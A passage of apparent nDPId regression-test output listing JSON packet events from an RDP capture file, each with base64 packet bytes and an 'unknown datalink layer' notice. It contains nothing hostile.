packet","thread_id":0,"packet_id":336,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":337,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":277594,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm8\/oZHmxeaUBggAIgqAAAXAwMAOOAIO32NJwuc4vy\/vxi1zCOwVpDlmyUGPDdfRIMB+trFBc5N+vL53pYnjYylPldPUov8z6XoE3sG"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":337,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":338,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":277745,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/sNHmxfPUBAf\/uufAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":338,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00869{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":339,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":277812,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNgI0AAfwYoMsCoAo6sEAK5DT3NDkebHMj5vP4cUBj1vnLwAAAQxOkzcgCx+u7ayvVkWGUN4IJgGOA2BuZvf4vW+31rkTPfhZ+n5w1mUhYLCLOmOESlX801MST2ymw\/usGxD2HdRr\/CtXuhGk32D7HO4IddwsXsRQXgcg8TBBVu09VBVCqS\/3M0ZCoBNp1ELxI24YOy9Th0YFnoIUjJ9EAYjyjSSdIs7JKwzoir5wczsLnybLu+0VRm2H\/wkAEO0OthfSUwjEuTaL5K67NVGDy\/yVkPpU7L2TZAfJJAD\/f1g9tOOJvrEbIrmzWgE50HAcjODDiGnzu9rtQrkpbvrGQC\/enbNaY8B7Z9jJXqHi4Xlg52iu\/xAf0DGZhxiOBd\/C2RJV\/HCba8MGoziN5HM71IQapqMcEqWciZc00mRdfqgigKZS4rqhLqJN43\/Pf8saIxIl0XD0k83\/yrItCDvIeu150YgonDPcgt2D4FCYGzxPvaELIK15NZCAj5wagMwkyiC\/yB8K4jkh4ogru84KPNby+mJmBCwcL6GEsM9Dj6"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":339,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":340,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":277927,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gJEAAfwYpd8CoAo6sEAK5DT3NDkebHkP5vP4cUBj1vqbLAAAXAwMAMAAAAAAAAABgaA6DA7JAlybIHOZyvTMkicuoHv++i4mWrOgAgFcKD5+rAF0n+eD4Ew=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":340,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":341,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":277948,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm8\/sNHmxzIUBggAI3mAAAXAwMAMOAIO32NJwudCs53Dz5C5Ypu2hoYmxJjIFGjJkib3Cdrejvl2drF7l6USRdNVUo3pQ=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":341,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":342,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":278147,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/vhHmx5DUBAf9OUAAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":342,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":343,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":278236,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/vhHmx54UBAf\/uTBAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":343,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":344,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":278311,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm8\/vhHmx54UBggAL4WAAAXAwMAMOAIO32NJwueLHjHo1cv\/FN9qTynoX2ZkL+nCZZJVP0fTkl2YNd4YdXobCcwciLoKA=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":344,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02081{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":345,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":302734,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFgJUAAfwYkssCoAo6sEAK5DT3NDkebHnj5vP4cUBD1vsg2AAAXAwMGbwAAAAAAAABhXUIBoEW81qurc+9EEvXlq07yq+lwyC8E\/Pl1bU24pnqnaUjgjr467vh6w0tfnSE5p3c4H+O7j1lsVWVcJ2LBmjxslUsTYtr6ntYHwLRhadwqlRiJILgHAlhR7FZV5UvZyaeDCZ4+jItkyXCelSTbn\/LddgHIywnE+n4hDa6LKq2dp4rT09TdUkuR7TDyf\/XhZRjSDxt8ST+n0QvydBNGMHvZTxYUx2OOIkSDWPVFzY4VoBtDuAd\/\/lAiPQFVqUPtfy4Tq8TDDBHsq8p5QcQTLOslFLcUGFqeZwHi74XpmuC7eFqMAnyFYwdZL+HPogz+2Lsy\/yUbP74NWF6df\/tftv7vZK9jGse+C4GiN3vs5Gx+5ql+iZeFezMwd8hbJdFtKGYlbm7X5BMyZJZPw9Xv6pOdjWyHqLY3n9X0fjtATuBYRCwguwZahvZp580CuDqfFw2q0Sba01cjlmvM50xFdl3Iqlz4Ztuo3lI+xOyaVcfHgKufSLogrx1HPqoeFXY57VJmCCv4gx51Gzpi\/VMy7lEPZfsRiRG3aX0mNWlQ6miXy6kCvjGLQgcx8IBHZ8kq8VgZfawz1mfoJcYq2OdHW9OaITRgMN1csr37S2Wi9+jzAOHYZZ6xR\/u35brxTxo1mFsbCDDiLoLDYWJ1lH42rByyVzSXX3aSFoNSgFfbmOcezb+5mkNLNbH9fGZPCTbVb8HvHz5dImXRpo7X9rdxwjk7KlPrOuqH7VrHIE9SuNYqeL461PWZHXi+irJ0B\/wTBU0rgeiWWbhVAjhsL7vqbFP+D8JfbKBZI1C5VFQ\/mzfPT8p2WYKnTpUsRnKN+v\/Wf7i244bD7TwhYw7f1fab8n7wcopICuJ0SUY7X8W4gAeDm8usKoReLpNXsnnLujq+nv9XeSkiKFyNvWY\/AIX2mQ0qTt3vKZDPb\/TGCN6tGu8cWuAZU4Dwa3JoWE90LS1BtFdjAUBvg4rNdF\/Lkny4AUh817Q3hxjQnC6\/bmONRLRN9vWOQ+I9AUUtrkxmGYY41NiOn3MiaXNal2gIjy6pk9YIu6\/tcsPwr63+cltVlM\/nGoBY\/wQEp9tcipr5x0ogvV6ezyYES4X+tIkaqMYBwzA3gdgK8yfuo8Mi2mTxviIGwS9LXCRK2ledjvkOZuRLx2eur6dw3cM+EWBqtRqr5\/S6HOyh4TTA4IDP4hd\/E1X3kKINEUhg6d+mSq6\/YgR\/eIuhsBaVqh6hRMxTuK4SX8GTsLn325s6G8bW8YT4meU7iE6lMcuMVRR3IVsJm\/0aOfLmrS0gkIWAQhJb3WJ3s\/zG0JyOSeKeVnNovCFcVxIJZUPKpz4aDsuzuCSZ2krFA5LwyVBjVmSxHoOq0uMbnt53QPb6iyUqcU4ORIV9z37oH1iBpZWdL94W0Q6SycdsZCN\/7h2zb4v9YzvdMRe1ECofaVJoYUSbUcNQdni+RYUMfPV6bPC6EpFlZe89Dte6rWYZ3nQQ4eENM1v1PoYgbGp7N+dzGLAHjCluqMVJwOw\/d9yUOXUhJW\/fOiyKgg6D7164CGQhwG2A8SyF9QqajUBegAb4tFeH8P\/1+v8HPWBO+qveqLLXIGrwwR9Y6GDikj69Kfar8dkqYuRKzmJo5ZVuuOj\/IRcC2PcEoZ2QS5x\/1S7U415A54ZSPDUIWk3HYcYgwfKH5En1gBfr"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":345,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00864{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":346,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":302769,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNgJkAAfwYoL8CoAo6sEAK5DT3NDkebI3H5vP4cUBj1vptCAAAKXPQIDFBuwFcEz5nkJCMtfzm8uXZrWU0vcOVMIDdkdfz5446HLNsX8iXTyI7xAcONt20\/9cH408O8\/bR496rv5nTJ4x8bVyyvCCGs9KLhhniyqFXzVc5L4ZLe3d4dX8\/tLwLp\/+SuwJUZ2ZigYU7c9EfMmPqIAg\/P85XWU1UTO0hvExINwWF0pUkGp7fKpX1N2jEmdSAo8VmAdZ8urqpxAx+h22Z5zdfCScHftnbvBaaM7UV9p3fKb9iO+FJGyPvwEIFnnsuMxHRl9MIxUkEv6ifa2lOqeg9VXy5xAmElfJe5\/y794uzMVXOCbwbKPFra+6iA59NKTJQ8LDzoCdvKEDU2rm1fUehcvNukh6kvjj2q\/WVuiCRpIyVJOYLIiFjGSWXlWGQmpl8DJhGu2xGRrwKLlc9vcsm57vIYzyc+90kSdXRxeDfffHVEEI4ahGZInAJtbYF4v97Yu8dZ1CHHnGUJmIVHASbKd7\/APi5+bIIGFwSvS1EP0wjy"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":346,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":347,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":302804,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/y1HmyTsUBAfzN5KAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":347,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":348,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":302812,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gJ0AAfwYpdMCoAo6sEAK5DT3NDkebJOz5vP4cUBj1vi6hAAAXAwMAMAAAAAAAAABifZj3\/NjfgdnHHJAJUJ+0knvaCr7iRKDGfA7uDM8ja6tKQ6wVxDjxZg=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":348,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":349,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":303395,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/y1HmyUhUBAf\/t3jAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":349,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":350,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":303485,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm8\/y1HmyUhUBggAFlvAAAXAwMAOOAIO32NJwuf2U3QFui979hL1Z6aU719SAzemNaMeImjs8i\/kwLRS0XzlNfEhODqFJdsfzw6ni+a"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":350,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":351,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":347209,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChgKEAAfwYpqMCoAo6sEAK5DT3NDkebJSH5vP6GUBD1VAk0AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":351,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":352,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":347518,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChgKUAAfwYpp8CoAo6sEAK5DT3NDkebJSH5vP74UBD6AAQWAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":352,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":353,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":386314,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChgKkAAfwYppsCoAo6sEAK5DT3NDkebJSH5vP9qUBD5jgQWAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":353,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":354,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":386362,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gK0AAfwYpcMCoAo6sEAK5DT3NDkebJSH5vP9qUBj5jtgiAAAXAwMAMAAAAAAAAABjvHalimbWaAxCvOlcmUvBLc+SdaoIMPH0ZY2c\/Kbjc+\/shF8jahjohw=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":354,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":355,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":386398,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/2pHmyVWUBAf\/t1xAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":355,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00441{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":356,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":386426,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AgAAAEUAAGlgLEAAfwYpY8CoAo6sEAK5DT3NDkebJVb5vP9qUBj5jviYAAAXAwMAPAAAAAAAAABkRVQVE\/8lKIThvaswC6DIx0axx26ExSOHhrQBXZYaVsmJ3iKNXop80pCS+FAZTLpbdi+SAw=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":356,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":357,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":386513,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gLUAAfwYpbsCoAo6sEAK5DT3NDkebJZf5vP9qUBj5jmqzAAAXAwMAMAAAAAAAAABlfan3xi+l725Sk11\/xWg7HiDyELEIl81B3NH7MZVPksXtfdlTgtsViQ=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":357,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":358,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":386590,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/2pHmyWXUBAf\/d0xAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":358,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":359,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":386721,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/2pHmyXMUBAf\/tz7AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":359,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02082{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":360,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":386816,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFgLkAAfwYkqcCoAo6sEAK5DT3NDkebJcz5vP9qUBD5jiI0AAAXAwMGbwAAAAAAAABmt8Xpu6vzV57zw5ByJcjQ7NewXZKHXUfWhYbFY3MuysXLDXfIi7tCDl8BYJXevZztTsDwn\/z4vqBcMOYST3eYfNWX7POshplP31JcRBCsdPYNWAp4LSjr500pHO0CoxHr9cyHm3kXBcOVv0BpuqAi2RNiVYaMz2SiAKzjcM9stVtW149tesFsfCwlkuisXOv\/uVDHfZdKtlSBcaNzoZyaLvTZs01pdTMmYyz0U7mx\/qCLhI+q\/Lfn8dyaOr6bYqwFnMwP71DRTMo972t+eKpbJxzYPpIiU2NM+HLGd0\/cE1Ng1JNAfJjSiWbupEp\/74BIBdEpn\/TstfHBP9+GP+g\/AfhNf886kx+SihR404+gp7nKKdF2vmkwwT3RPIn4exCYIsfNpjdc\/FrvYcH\/OQ3dfPT7+aJes3y9FhsI3LD1kjzQPYaweuvEfc74Ny475GXjx2q+NCujZEQTLHZuKvRcZQjHeix0wPga3a7kee4JyjvCcI3Bwbj0BvMzMrasqu31HiyLoRkiUbqBmOlxUiqARN344d62+Q9rhMWEZy5ZpF+ViOpmjjP+FFONdtxLpFABjdQFvkSMvXHZ3E4sm2vGMmVurKSrvoq2CaCgAcOWwtmK5Tls2KCMKmESlf04vwBXfl1xU0aEzxxqIaVFf2EIFAJMuFc3DkWXjvoMkk+DmHn89OowciyVK+H0TKu2j+BX29q7xPrijvzwhH5a\/vk5w49Ld\/EMy\/M5hubGqjQpcvD\/Rio4wNxw5\/OIQm2mOEMV1lFZP4yVkn0N+DPC53Oez09\/zH2sng5WhRmqv6Fkn4u950i\/6pEFjVi51RPwvBhUeHQa0LFjR35q7z3K7tKcYvKl29F35jy8BGpaLdyLo4dpPR7vDdI8HqSrLqlEeJXGfMXrlWRucCb+uri9K2Y3RZHx7X0qjbYIV2k9jYzhOzsaItuzdFyuX70rOl6VinKIy1PpTwU4g1AL3tBizgG5k44+32uAaGFCBr4VbQrYLnzYmdvDmNjN3Tn\/YRhlTIVIJSztXTW5GVc4xu6pEnw68\/8q02JyZlcn+V+ltYxreT9LunIT0BOfTXwCD369RnJqgtr6Wno5+092378ui88aiNmFV8f8m25SfcIDVeHmc34Dyrx8e\/JjlJ45s25Zlu3npssnqg7mhCcwOgTx\/wCJFSZssuVaXrWHw2VsLI5NogYulk+Mnr7wA7qCYIGTWDekTrGLLdzd+5Skosz5W4DmJ9qD0zUfPre8MDAvP1KZ9I47yJ2rLbPlBL9jeqF\/SHhrooWX1LKDCmlRhTwGArKYCOY+iq9gizW54U0gSD\/9cYuJCNZssuPZ\/c0z5W+nkZd+MCzm2GLrfi1+SjQ8VKTL3wjZEVMQggCHZ8du9\/dVv1f5HvhwWzPJpqXEGkzcPAwKKInvzRxc6WY1hSt1CEB5srI9LaWTzb5ZBfm0V7nH0c4mYNkjchTCndftakYwAKDLDpBdTumvEpxIW9e0ZVKShMyIYflKPCyi70IltxVWXl385Z5\/vyqZXkj1zjL30LaHpscIqsS3NmA\/ECAv7\/7bGKBv4GHjbt6w23Dp\/u0+9cvUYAE69Gb\/lUeKLjt8djhy+TeSWPJZzaKZUVxNvO9lbTpzA0xuyVa9LhFDV4Sp5bU29mK\/fXl2mbBNhllADyeSmbNHXDW8tze\/4Uvy"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":360,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00861{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":361,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":386926,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNgL0AAfwYoJsCoAo6sEAK5DT3NDkebKsX5vP9qUBj5jvo4AAAo9Qk1x8AbQsIyaNfOqr6CwxShnRgWKoFIyTu+ksczBM7dcTI+05vjBETE3q6YyTEiWEseHXB8oM0j+PjpunnX88L62oQ79rkdb5SvSZcQeuk5a68IFx95mUi0VhOIyT2wuFTezs+kSHUyapLjGwzIAG0L6HcN3n7\/ipdHaE3A1yEvLFTVG2YWG9gSYKZsk9pS+KGGdkvdcI2s0V3btvRABW45V6WOk1ZPiwXZOjnroUCZmW+xYIitYmqf8qw\/0RW3hRjuYv0XICSC0UosFz4GxnW9stFgbmrT1Y3tTEAFvgbV3dP9SsJ26vUB6oOQWRmaUnMs8YZshy+VMnbOWlZzVSkZb2gLIX+f7iBF8Oi2Q9g8mIyumTsrXLKaj6pVq1DzuHBPj73D2FZVQnXWCsw1jauPbQOYDmmV\/giQVakIA3cA5t+kXx\/Gtto9PnV+bT0f1NkOixsPJ0nMoAPeT2lKThwvslf36\/aQHM804H0+utbb2BpURHGNhNCi"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":361,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":362,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":386969,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/2pHmyxAUBAf9NaRAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":362,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00480{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":363,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":387068,"pkt_caplen":139,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":139,"pkt_l4_len":0,"pkt":"AgAAAEUAAIdgMEAAfwYpQcCoAo6sEAK5DT3NDkebLED5vP9qUBj5jvwKAAAXAwMAWgAAAAAAAABnIscYpP+FcJd4fv05XsWHFVGL0+A0MtL9PTkSTeF+mZVvJEYB6xZJpKn6yrMtNrKS39nJ5eWKJ4iClvAcyz4cFeXVk4QfUXVQnHdCejMUj0GEXA=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":363,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":364,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":387090,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm8\/2pHmyxAUBggAPZZAAAXAwMAMOAIO32NJwug7\/glRx461HaZG4xz28C4RNmPjKpKC6mbegejkeMFpwRe6AdRjeWAHg=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":364,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} 